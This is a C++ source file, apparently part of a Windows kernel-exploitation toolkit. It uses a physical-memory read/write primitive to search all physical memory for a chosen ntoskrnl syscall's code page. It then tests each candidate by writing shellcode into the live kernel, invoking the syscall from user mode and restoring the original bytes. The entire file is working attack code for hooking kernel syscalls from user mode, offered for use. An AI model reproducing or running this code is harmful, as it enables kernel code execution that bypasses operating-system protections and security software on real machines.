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92 lines
2.5 KiB
92 lines
2.5 KiB
#include "vdm_ctx.h"
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namespace vdm
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{
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vdm_ctx::vdm_ctx()
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{
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// if we already found the syscall's physical page...
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if (vdm::syscall_address.load())
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return;
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vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
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LoadLibraryExA("ntoskrnl.exe", NULL,
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DONT_RESOLVE_DLL_REFERENCES));
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nt_rva = reinterpret_cast<std::uint32_t>(
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util::get_kmodule_export(
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"ntoskrnl.exe",
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syscall_hook.first,
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true
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));
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vdm::nt_page_offset = nt_rva % PAGE_4KB;
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// for each physical memory range, make a thread to search it
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std::vector<std::thread> search_threads;
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for (auto ranges : util::pmem_ranges)
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search_threads.emplace_back(std::thread(
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&vdm_ctx::locate_syscall,
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this,
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ranges.first,
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ranges.second
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));
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for (std::thread& search_thread : search_threads)
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search_thread.join();
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}
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void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
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{
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const auto page_data =
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reinterpret_cast<std::uint8_t*>(
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VirtualAlloc(
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nullptr,
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PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
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PAGE_READWRITE
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));
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for (auto page = 0u; page < length; page += PAGE_4KB)
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{
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if (vdm::syscall_address.load())
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break;
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if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
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continue;
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// check the first 32 bytes of the syscall, if its the same, test that its the correct
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// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
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if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
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if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
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syscall_address.store(
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reinterpret_cast<void*>(
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address + page + nt_page_offset));
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}
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VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
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}
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bool vdm_ctx::valid_syscall(void* syscall_addr) const
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{
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static std::mutex syscall_mutex;
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syscall_mutex.lock();
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static const auto proc =
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GetProcAddress(
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LoadLibraryA(syscall_hook.second),
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syscall_hook.first
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);
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// 0: 48 31 c0 xor rax, rax
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// 3 : c3 ret
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std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
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std::uint8_t orig_bytes[sizeof shellcode];
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// save original bytes and install shellcode...
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vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
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vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
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auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
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vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
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syscall_mutex.unlock();
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return result == STATUS_SUCCESS;
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}
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} |